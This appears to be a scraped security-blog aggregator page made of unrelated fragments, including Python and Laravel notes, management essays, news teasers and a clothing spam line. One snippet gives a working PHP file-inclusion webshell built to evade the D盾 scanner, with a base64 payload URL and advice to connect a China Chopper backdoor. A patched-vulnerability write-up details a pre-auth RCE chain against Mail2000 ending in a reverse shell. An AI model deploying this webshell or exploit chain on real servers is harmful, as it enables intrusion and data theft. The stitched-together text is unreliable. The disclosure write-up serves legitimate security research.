Aggregator

A deep dive into a wide variety of cloud-related security data breaches, both maliciously caused and accidental.

## 2019年度总结 2019年度进度 ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 100% 2019年要过完了, 博主今年又干了啥呢. 远行 基本没离开过家门 最远

上周看到一些朋友在发青藤云的聊天记录，绕过一个发200块红包。周末的时候就简单做了个测试。
首先使用绕过D盾的webshell，发现被标记为恶意。这就有点意思了。我去看了一下聊天记录的内容，看原理是采用的深度学习的方式。猜测是有监督的方式来实现的（仅为猜测）。我这里绕过的思路采用的是，使用开源程序进行修改，带入一句话后门代码。

记得Phpmyadmin的index.php文件中包含有include ROOT_PATH . $_REQUEST['target'];这样的代码，如果不看上下文，这个妥妥的文件包含漏洞。不过上文有过滤和判断处理，导致无法包含任意文件。我将其修改为包含任意文件。同时保留来一些源码，把影响执行的代码注释掉（因为适应多种环境，适用但文件的情况）。
最终修改的代码如下：

前言 在使用 Laravel 框架进行开发项目的时候，Facades 是一个经常能用到的模块，比如在使用缓存(Cache)、日志(Log) 等组件的地方。 use Illuminate\Support\Facades\Cache; $name = Cache::get('name'); use use Illuminate\Support\Facades\Log; Log::info('this

本系列中的故事纯属虚构，如有雷同实属巧合

去年分析D盾的查杀规律弄的绕过。
查杀效果：

具体请看代码：

<?php function cc(){ global $b; $a =$_GET[$b]; //此处可改成POST方式 $str =$a; return $str; } ?> <?php $b="url"; $c=cc(); $aa = $c; include($aa);

传入参数方式：
http://127.0.0.1/test/include.php?url=本地或远程文件名（或者利用data:image/png的这种格式）
例如：
http://127.0.0.1/test/include.php?url=data:image/png;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
上看base64,后面为要执行的代码，代码要带<?php，然后将代码进行base64编码传入。这里的例子是<?php phpinfo(); ?>，实战中可以把代码改成一句话，然后使用菜刀连接即可。

时代在发展，技术在进步。没有什么是停止不前的！2019年已经接近尾声，Python2停止更新的时间越来越近。其中比较流行的如 NumPy、Requests 和 TensorFlow 等承诺到 2020 年将停止支持2.x。尽管迁移过程也会花许多时间与精力，但是转Python3是早晚都要面对的。最近在迁移自己的代码到Python3，对于迁移的过程中遇到的情况进行总结。

首先我们来说一下常用的print。
最明显的区别就在于，我们在2.x版本中的print "hello world" ，在3.x版本中会报错。必须要以print("hello world")这样的格式。为什么会发生这样的变化呢？下面就让我们来看一下～

IoT botnet Gafgyt targets popular routers through RCE vulnerabilities, and even removes competing malware.

注：文章较长，故分为多季来连载，转载请标注来源

前言：

本质可能发生转变，它可以由质变到量变，体系可以被打破，随时间的推移，它可以被推倒重塑，唯有思想将永垂不朽。
问题的背后是本质，本质的串联是体系，体系的整合是思想。

文章将会围绕“三个是什么？”来展开，分别是
1：问题的背后是什么？（上）
2：本质的背后是什么？
3：问题的背后是什么？

引言：创业公司的老板或者整体团队负责人都有一个特点，
如果这个人是销售出身：注重与人打交道
如果这个人是技术出身：注重与事打交道

像销售一样去思考，像技术一样去行动。
————Micropoor
一：问题的背后是什么？
1：团队技术模型与招聘管理

        顾名思义，高级攻防团队的建设，表面核心为“攻”，问题的背后是“人才”的管理。如何打造出一支能对抗“有组织，有纪律”的团队？一定是分工合理，责任明确，多个子部门联动的团队。至少一名主管，三名负责人，由于在招聘过程中会涉及到大量的技术模型重合，与人员沉淀，考虑到投入产出比平衡等，故其中负责人（一）主要团队技术模型为：“当下吃饱饭”，（不考虑部门编制，不考虑部门技术人员模型重复以及沉淀，只对部门当下KPI负责，负责面试一面）负责人（二，三）技术模型为：未来更美好（需要考虑到人员技能重合，考虑部门技术闭合，项目生命周期技能模型闭合，考虑人员沉淀等，有权拒绝重复性质人员进入，负责面试二面）。也就是说，每个负责人的责任不同，但方向相一致，一个是当下，一个是未来。主管需要考虑子部门与子部门之间的业务联动，技术闭合，利益共同体，人员的整体学习方法模型，整体方向，战略规划等。部门主管，一定要有放权的勇气，兜底的能力。





2：人员的学习与晋升
古人把一个职业的发展分为7个阶段：
奴：自愿和靠人监督的人 徒：能力不足，肯自愿学习的人 工：老老实实，按规矩做事的人 匠：精通一门技艺或手艺的人 师：掌握了规律，又能将其传授给他人的人 家：有固定的信念，让别人生活的更好的人 圣：精通事理，通达万物的人
同样网络安全学习也有10个阶段划：
问：自愿或靠人监督的人 学：能力不足，肯自愿学习的人 动：老老实实，按课本或教学实践的人 记：记录每次实践或学习心得体会并总结的人 体系：建立适合自己的体系，并能把知识碎片化结合到自我体系的人 问：体系建立后，重新归纳更新知识，并体系重新结构化的人 分享：掌握了规律，又能将其传授给他人的人 带团队：有固定的信念，带领团队或集体形成合力的人 授业：可以传授道理、教授学业、解答疑难问题，指路人。 育才：培养出比自己优秀和强大的人
以上为人员技术能力晋升阶段，而提升整体人员，又要从主动学习与被动学习，个人学习与团队学习方法建模。 爱德加·戴尔提出了一套学习模型：模型主要分别为被动学习与主动学习的一个过程。 同时提出，学习效果在30%以下的几种传统方式，都是个人学习或被动学习；而学习效果在50%以上的，都是团队学习、主动学习和参与式学习。

3：引入
        需要“心流理论”引入团队管理，根据契克森米哈伊的说法，就是个体完全地沉浸于体验本身，而体验本身就是最好的奖赏和动机。在心流状态中，我们的感觉和体验合二为一，即“行为和觉察融为一体”。在心流状态中，享受着巅峰体验，同时也做出了巅峰表现：既感受到了快乐，又展现出最好的状态。运动员把这种情形称为“在状态”。无论在心流的境界里做什么，踢球也好，雕刻也好，写诗也好，学习也好，对于正在进行的事情采取的是一种全神贯注的态度，没有任何人或事可以打扰我们或是使我们分心。在这种最佳状态下，能够更有效地学习、成长、进步并且向未来的目标迈进。        拥有清晰的目标是心流体验的前提。虽然目标有时会有所改变，但部门行进的方向是不能错的。当全心全力投入去实现目标，不为任何其他的诱惑所动摇时，才能获得心流体验。同时，当下以及未来的益处在这种状态下合二为一：遥远的目标不但不是阻力，反而可以帮助感受正在经历的意义。心流体验所带来的是更高层次的幸福，它把“一分耕耘，一分收获”变成了“现在的快乐即未来的成果”。“一分耕耘，一分收获”的说法代表我们必须承受极度的压力，无论是身体上还是心理上的，才能发挥100%的潜力，实现至高的目标；但在心流体验中，痛苦本身并不是巅峰表现的最高境界；相反，有一个区域是在过难和过易之间，在这个区间内，不但可以发挥出最大的潜力，还可以享受过程中的快乐。如果想要达到这个境界，任务的挑战要难易适度。

      如果任务难度大而技能不足时，会感到焦虑；相反，如果技能高超而任务太简单时，就会感到乏味。只有当难度和技能匹配时，心流体验才有可能出现。有两种不同的情况会影响拥有心流体验：一是有压力的环境，因为这样会带来焦虑；二是没有挑战性的环境，因为这样会使人觉得无聊、厌倦。 好的部门可以营造出一个传播幸福的工作环境。一些外在条件可以帮助员工在工作中找到更多的意义：第一，这份工作必须能够激发员工的才华和潜力；第二，雇员应该获得更大的发挥空间，在部门的运作中扮演更重要的角色，而不只是旁观者；第三，雇员应该感受到他们的业绩是有意义的。
一旦事物的本质抓住，那么就可以降维打击，以渗透的本质为例：
目标资产信息搜集的程度，决定渗透过程的复杂程度。 目标主机信息搜集的深度，决定后渗透权限持续把控。 渗透的本质是信息搜集，而信息搜集整理为后续的情报跟进提供了强大的保证。
以上是第一小节”论本质“的重要性，理论与实战结合参考： 渗透，持续渗透，后渗透的本质 渗透的本质是信息搜集                                                                                                                                                                                                                                                                                                                         
小结：问题的背后是本质，技术团队不仅仅是由技术主导，而这背后隐藏了资源分配，资源倾斜，学习气氛，沟通，协同，人员能力晋升，团队技术模型与闭合等一系列问题。透过问题看本质。本质适用于”独狼“行动，可快速提高个人实战能力以及思想，但它并不适合”狼群“作战，也就是说团队协作并不适合"本质"方法论。

CVE-2019-17571的原理分析

每年的圣杯文章预测两年后初见成功的新安全产品。今年笔者挑选的方向注定是个红海；初创公司要谨慎进入，因为必然会直面大厂发起的凶猛竞争。

New campaign activity for remote code execution (RCE) vulnerabilities disclosed this year picked up in the month of November.

对某cms的一次弱加密漏洞挖掘 前言 之前在挖某cms漏洞, 由于是tp框架的老牌cms, 便不想机械性去看sql注入和xss之类的.开始探索这个c

在 “灯塔资讯中心” 工具发布两年之际，我们在Blog中正式宣布发布“知风 Zhifeng.io”系统的 BE…

记录一次fortify规则库解密的探索之旅

The same countries that attacked the rest of the world also attacked systems in Russia, but from different networks and IP addresses.

纯羊毛丁字裤，年底特价，大甩卖~

郵件系統作為大部分企業主要的資訊交換方式，在戰略上佔有了舉足輕重的地位。掌控了郵件伺服器不僅可以竊聽郵件的內容，甚至許多重要文件都可以在郵件系統中找到，使得駭客能夠更進一步的滲透。本篇文章將介紹研究組在 Openfind Mail2000 這套軟體上發現的記憶體漏洞，以及利用這個漏洞的攻擊手法。 此漏洞為 2018 年時發現，當時已通報 Openfind 並且迅速被修補，同時也已協助相關用戶進行更新。

Openfind Mail2000

Mail2000 是一套由台灣廠商 Openfind 所開發，簡單易用的電子郵件系統，被廣泛使用於台灣的公家機關、教育機構，如台北市教育局、中科院，以及臺灣科技大學都有使用 Mail2000 作為主要的郵件伺服器。常見的入口介面如下：

這次的漏洞，便是從這個 Web 介面，利用 Binary 的手法，攻陷整台伺服器！

伺服器架構

Mail2000 提供了 Web 介面供管理員以及使用者操作，也就是所謂的 Webmail，而此處 Openfind 使用了 CGI (Common Gateway Interface) 的技術來實作。大多數 Web 伺服器實現 CGI 的方式如圖： 首先由 httpd 接受客戶端的請求後，根據對應的 CGI 路徑，執行相對應的 CGI 檔案。而大多數的開發者會根據需求，將常見的共用 function 撰寫成 library，供 CGI 呼叫。 往底層來看，其實可以發現，雖然稱為 Web 伺服器，仍有許多元件是建構於 binary 之上的！例如 httpd，為了效能，多是由 C/C++ 所撰寫，而其它像是 library、擴充的 module、各頁面的 CGI 也常是如此。因此，binary 相關的漏洞，便是我們這次的攻擊目標！

漏洞

這個漏洞位於 Openfind 實作的 library libm2kc 中，此函式庫包含了各種 CGI 通用函式，如參數解析及檔案處理等等，而這個漏洞就發生在參數解析的部分。由於參數處理是很底層且基本的功能，因此影響的範圍非常的大，就連 Openfind 的其它產品也同樣受影響！ 這個漏洞的觸發條件如下：

• 攻擊者使用 multipart 形式發送 HTTP POST 請求
• POST 傳送的資料內容超過 200 項

multipart 是 HTTP 協定中，用來處理多項檔案傳輸時的一種格式，舉例如下：

Content-Type: multipart/form-data; boundary=AaB03x 
 
--AaB03x
 Content-Disposition: form-data; name="files"; filename="file1.txt"
 Content-Type: text/plain
 
... contents of file1.txt ... 
--AaB03x--

而在 libm2kc 中，使用了陣列來儲存參數：

g_stCGIEnv.param_cnt = 0; while(p=next_param()) { g_stCGIEnv.param[param_cnt] = p; g_stCGIEnv.param_cnt++; }

這個陣列為全域變數 g_stCGIEnv 中的 param，在存入 param 陣列時，並沒有檢查是否已超過宣告的陣列大小，就造成了越界寫入。

需要注意的是，param 陣列所儲存的結構為指向字串位置的指標，而非字串本身

struct param { char *key; char *value; int flag; };

因此當觸發越界寫入時，寫入記憶體的值也是一個個指向字串的指標，而被指向的字串內容則是造成溢出的參數。

漏洞利用

要利用越界寫入的漏洞，就要先了解利用這個溢出可以做到什麼，發生溢出的全域變數結構如下：

00000000 CGIEnv struc ; (sizeof=0x6990, mappedto_95) 00000000 buf dd ? ; offset 00000004 length dd ? 00000008 field_8 dd 6144 dup(?) ; offset 00006008 param_arr param 200 dup(?) 00006968 file_vec dd ? ; offset 0000696C vec_len dd ? 00006970 vec_cur_len dd ? 00006974 arg_cnt dd ? 00006978 field_6978 dd ? 0000697C errcode dd ? 00006980 method dd ? 00006984 is_multipart dd ? 00006988 read_func dd ? 0000698C field_698C dd ? 00006990 CGIEnv ends

溢出的陣列為其中的param_arr，因此在其之後的變數皆可能被覆寫。包括post_files、vec_len、vec_cur_len、arg_cnt … 等等。其中最吸引我注意的是file_vec這個變數，這是一個用來管理 POST 上傳檔案的 vector，大部分的 vector 結構像是這樣： 使用 size 記錄陣列的總長度，end 記錄目前用到哪裡，這樣就可以在容量不夠的時候進行擴充。我們若利用漏洞，使溢出的指標覆蓋 vector 的指標，就有可能有效的利用！藉由覆蓋這個 vector 指標，我們可以達到偽造一個 POST file，及其中所有相關變數的效果，而這個 POST file 結構裡面就包含了各種常見的檔案相關變數，像是路徑、檔名，和 Linux 中用來管理檔案的 FILE 結構，而 FILE 結構便是這次的攻擊的關鍵！

FILE Structure Exploit

這次的攻擊使用了 FILE structure exploit 的手法，是近幾年較新發現的攻擊手法，由 angelboy 在 HITCON CMT 公開[1]：

FILE 結構是 Linux 中用來做檔案處理的結構，像是 STDIN、STDOUT、STDERR，或者是呼叫 fopen 後回傳的結構都是 FILE。而這個結構之所以能成為漏洞利用的突破口主要原因就是它所包含的 vtable 指標：

struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; };

vtable 當中記錄了各種 function pointer，對應各種檔案處理相關的功能：

struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); /* ... */ JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); /* ... */ };

因此如果我們可以篡改、偽造這個 vtable 的話，就可以在程式做檔案處理的時候，劫持程式流程！我們可以以此訂出以下的攻擊步驟：

1. 建立連線，呼叫 CGI
2. 使用大量參數，覆寫 vector 指標
3. 偽造 POST file 當中的 FILE*，指向一塊偽造的 FILE 結構
4. 在 CGI 流程中呼叫 FILE 相關的操作
   • fread, fwrite, fclose, …
5. 劫持程式流程

我們現在已經知道終點是呼叫一個 FILE 操作，那麼就可以開始往回找哪個 function 是 CGI 常用的 FILE 操作，又有哪一些 CGI 可以作為入口點，才能串出我們的攻擊鏈！我們首先對使用到 POST file 的相關函式做研究，並選定了目標 MCGI_VarClear()。 MCGI_VarClear() 在許多用到 FILE 的 CGI 中有被呼叫，它用於在程式結束前將 g_stCGIEnv 清空，包括將動態配置的記憶體 free() 掉，以及將所有 FILE 關閉，也就是呼叫 fclose()，也意味著是可以通過 vtable 被劫持的！我們可以使用這個越界寫入漏洞蓋掉 file_vec，而指向的內容就是 HTTP request 的參數，便可以偽造為 POST files！像是下面這個結構：

我們的最終目標就是將 FILE* 指向偽造的結構，藉由偽造的 vtable 劫持程式流程！這時候便出現了一個問題，我們需要將 FILE* 這個指標指向一個內容可控的位置，但是其實我們並不知道該指到哪裡去，會有這個問題是起因於 Linux 上的一個防禦機制 - ASLR。

Address Space Layout Randomization (ASLR)

ASLR 使得每次程式在執行並載入記憶體時，會隨機載入至不同的記憶體位置，我們可以嘗試使用 cat /proc/self/maps 觀察每一次執行時的記憶體位置是否相同： ASLR 在大部分的環境中都是預設開啟的，因此在撰寫 exploit 時，常遇到可以偽造指標，卻不知道該指到哪裡的窘境。 而這個機制在 CGI 的架構下會造成更大的阻礙，一般的伺服器的攻擊流程可能是這樣： 可以在一個連線當中 leak address 並用來做進一步的攻擊，但在 CGI 架構中卻是這樣： 在這個情況下，leak 得到的 address 是無法在後續攻擊中使用的！因為 CGI 執行完就結束了，下一個 request 又是全新的 CGI！ 為了應對這個問題，我們最後寫了兩個 exploit，攻擊的手法根據 CGI binary 而有不同。

Post-Auth RCE - /cgi-bin/msg_read

第一個 exploit 的入口點是一個需要登入的頁面，這一隻程式較大、功能也較多。在這一個 exploit 中，我們使用了 heap spray 的手法來克服 ASLR，也就是在 heap 中填入大量重複的物件，如此一來我們就有很高的機率可以猜到它的位置。 而 spray 的內容就是大量偽造好的 FILE 結構，包含偽造的 vtable。從這隻 binary 中，我們找到了一個十分實用的 gadget，也就是小程式片段：

xchg eax, esp; ret

這個 gadget 的作用在於，我們可以改變 stack 的位置，而剛好此時的 eax 指向內容是可控的，因此整個 stack 的內容都可以偽造，也就是說我們可以使用 ROP(Return-oriented programming) 來做利用！於是我們在偽造的 vtable 中設置了 stack 搬移的 gadget 以及後續利用的 ROP 攻擊鏈，進行 ROP 攻擊！

我們可以做 ROP，也就可以拿 shell 了對吧！你以為是這樣嗎？不，其實還有一個大問題，同樣導因於前面提到的防禦機制 ASLR – 我們沒有 system 的位置！這隻 binary 本身提供的 gadget 並不足以開啟一個 shell，因此我們希望可以直接利用 libc 當中的 system 來達成目的，但正如前面所提到的，記憶體位置每次載入都是隨機化的，我們並不知道 system 的確切位置！ 經過我們仔細的觀察這支程式以後，我們發現了一件非常特別的事，這隻程式理論上是有打開 NX，也就是可寫段不可執行的保護機制 但是實際執行的時候，stack 的執行權限卻會被打開！ 不論原因為何，這個設置對駭客來說是非常方便的，我們可以利用這個可執行段，將 shellcode 放上去執行，就可以成功得到 shell，達成 RCE！

然而，這個攻擊是需要登入的，對於追求完美的 DEVCORE 研究組來說，並不足夠！因此我們更進一步的研究了其它攻擊路徑！

Pre-Auth RCE - /cgi-bin/cgi_api

在搜索了所有 CGI 入口點以後，我們找到了一個不需要登入，同時又會呼叫 MCGI_VarClear() 的 CGI – /cgi-bin/cgi_api。一如其名，它就是一隻呼叫 API 的接口，因此程式本身非常的小，幾乎是呼叫完 library 就結束了，也因此不再有 stack pivot 的 gadget 可以利用。 這時，由於我們已經得知 stack 是可執行的，因此其實我們是可以跳過 ROP 這個步驟，直接將 shellcode 放置在 stack 上的，這裡利用到一個 CGI 的特性 – HTTP 的相關變數會放在環境變數中，像是下列這些常見變數：

• HTTP_HOST
• REQUEST_METHOD
• QUERY_STRING

而環境變數事實上就是被放置在 stack 的最末端，也就是可執行段的位置，因此我們只要偽造 vtable 直接呼叫 shellcode 就可以了！

當然這時候同樣出現了一個問題：我們仍舊沒有 stack 的記憶體位置。這個時候有些人可能會陷入一個迷思，覺得攻擊就是要一次到位，像個狙擊手一樣一擊必殺，但實際上可能是這樣拿機關槍把敵人炸飛：

換個角度思考，這隻 binary 是 32 bits 的，因此這個位置有 1.5bytes 是隨機的，總共有 163 個可能的組合，所以其實平均只要 4096 次請求就可以撞到一次！這對於現在的電腦、網路速度來說其實也就是幾分鐘之間的事情，因此直接做暴力破解也是可行的！於是我們最終的 exploit 流程就是：

1. 發送 POST 請求至 cgi_api
   • QUERY_STRING 中放入 shellcode
2. 觸發越界寫入，覆蓋 file_vec
   • 在越界的參數準備偽造的 FILE & vtable
3. cgi_api 結束前呼叫 MCGI_VarClear
4. 跳至 vtable 上的 shellcode 位置，建立 reverse shell

最後我們成功寫出了不用認證的 RCE 攻擊鏈，並且這個 exploit 是不會因為 binary 的版本不同而受影響的！而在實際遇到的案例中也證明了這個 exploit 的可行性，我們曾在一次的演練當中，藉由 Mail2000 的這個 1day 作為突破口，成功洩漏目標的 VPN 資料，進一步往內網滲透！

漏洞修復

此漏洞已在 2018/05/08 發布的 Mail2000 V7 Patch 050 版本中完成修復。Patch 編號為 OF-ISAC-18-002、OF-ISAC-18-003。

後記

最後想來談談對於這些漏洞，廠商該用什麼樣的心態去面對。作為一個提供產品的廠商，Openfind 在這一次的漏洞處理中有幾個關鍵值得學習：

• 心態開放
  • 主動提供測試環境
• 積極修復漏洞
  • 面對漏洞以積極正向的態度，迅速處理
  • 修復完畢後，與提報者合作驗證
• 重視客戶安全
  • 發布重大更新並主動通報客戶、協助更新

其實產品有漏洞是很正常也很難避免的事，而我們研究組是作為一個協助者的角色，期望能藉由回報漏洞幫助企業，提高資安意識並增進台灣的資安水平！希望廠商們也能以正向的態度來面對漏洞，而不是閃躲逃避，這樣只會令用戶們陷入更大的資安風險當中！

而對於使用各項設備的用戶，也應當掌握好屬於自己的資產，防火牆、伺服器等產品並不是購買來架設好以後就沒有問題了，做好資產盤點、追蹤廠商的安全性更新，才能確保產品不受到 1day 的攻擊！而定期進行滲透測試以及紅隊演練，更是可以幫助企業釐清自己是否有盲點、缺失，進而改善以降低企業資安風險。

小B是Q公司的安全攻城狮，最近Q公司不太平，出现了好几次的安全攻击事件。可在事后小B却找不到被攻击的真正原因，于是领导下命令给小B，必须做到对攻击事件的检测与溯源，不然就可以卷铺盖回家了。

背景 自从Android问世以后，给手机获取ROOT权限变成了玩机爱好者老生常谈的话题。拥有手机，却不能拥有操作手机的最高权限，这对于手机爱好者而言，这怎么可以忍？所以无论Android升到什么什么版本，总要有人想要给手机获取ROOT权限。但是，获取ROOT权限的过程终究还是麻烦的，纵然你豪情万丈，